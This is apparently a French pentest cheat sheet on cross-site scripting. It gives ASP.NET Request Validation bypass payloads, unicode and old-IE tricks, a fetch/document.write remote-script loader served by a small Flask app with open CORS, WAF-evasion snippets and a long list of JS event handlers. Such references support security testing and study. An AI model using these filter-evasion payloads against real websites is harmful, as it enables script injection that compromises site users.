Cross-Site Scripting
Payloads
Voir PayloadAllTheThings
ASP.Net
ASP.Net a le mécanisme de “Request Validation” qui bloque de nombreuses tentatives XSS. Globalement tout payload de la forme “<a” (où a est une lettre ou le caractère ! sera bloqué).
Quelques bypass sont possibles:
- Sur les vieilles versions d’IE le payload <#tag
- Si on a une stored il est possible d’injecter un payload en unicode (voir Bypassing ASP.NET “ValidateRequest” for Stored XSS attacks). Ceci est dû à une conversion qui est faite par la base de données (les caractères unicodes étant convertis en leur équivalent “standard”):
%uff1cscript%uff1ealert('XSS');%uff1c/script%uff1e
- Sur les vieilles versions de IE et de ASP.net (patch en 2007) le payload suivant marche:
</XSS STYLE=xss:expression(alert('XSS'))>
D’autres bypass Bypassing .Net ValidateRequest
Champs hidden
Il est possbible d’exploiter une XSS dans un champ hidden. Voir XSS in Hidden Input Fields
Charger un script distant
Basé sur Calling remote script with event handlers.
// Avec la méthode fetch
fetch('http://127.0.0.1:5000/').then(function(r){return r.text();}).then(function(w){document.write(w)});
// Avec appendChild et createElement
document.body.appendChild(document.createElement('script')).text = 'alert(123)';
Côté serveur (avec flask):
from flask import Flask, Response
app = Flask(__name__)
@app.route('/')
def root():
f = open('exploit.html','r')
response = Response(f.read())
response.headers['Access-Control-Allow-Origin'] = '*'
f.close()
return response
Contournement de WAF
Quelques astuces pour contourner des WAF:
a = document; a.write('Test'); // Contourne des restrictions sur document.write*
(a = document); a.write('Test') // Contourne des restrictions sur le ";"
Events JS
Liste d’events JS:
onAbort
onActivate
onAfterPrint
onAfterUpdate
onBeforeActivate
onBeforeCopy
onBeforeCut
onBeforeDeactivate
onBeforeEditFocus
onBeforePaste
onBeforePrint
onBeforeUnload
onBeforeUpdate
onBegin
onBlur
onBounce
onCellChange
onChange
onClick
onContextMenu
onControlSelect
onCopy
onCut
onDataAvailable
onDataSetChanged
onDataSetComplete
onDblClick
onDeactivate
onDrag
onDragEnd
onDragLeave
onDragEnter
onDragOver
onDragDrop
onDragStart
onDrop
onEnd
onError
onErrorUpdate
onFilterChange
onFinish
onFocus
onFocusIn
onFocusOut
onHashChange
onHelp
onInput
onKeyDown
onKeyPress
onKeyUp
onLayoutComplete
onLoad
onLoseCapture
onMediaComplete
onMediaError
onMessage
onMouseDown
onMouseEnter
onMouseLeave
onMouseMove
onMouseOut
onMouseOver
onMouseUp
onMouseWheel
onMove
onMoveEnd
onMoveStart
onOffline
onOnline
onOutOfSync
onPaste
onPause
onPopState
onProgress
onPropertyChange
onReadyStateChange
onRedo
onRepeat
onReset
onResize
onResizeEnd
onResizeStart
onResume
onReverse
onRowsEnter
onRowExit
onRowDelete
onRowInserted
onScroll
onSeek
onSelect
onSelectionChange
onSelectStart
onStart
onStop
onStorage
onSyncRestored
onSubmit
onTimeError
onTrackChange
onUndo
onUnload
onURLFlip
seekSegmentTime
Références
- JSFuck
- Master the art of Cross Site Scripting
- XSS without event handlers: pour les situations où les events du type onerror sont bloqués
- XSS Filter Evasion
- PassiveXssScan: un plugin pour identifier automatiquement les éléments “reflected” dans Burp.
- HTML5sec
- Calling remote script with event handlers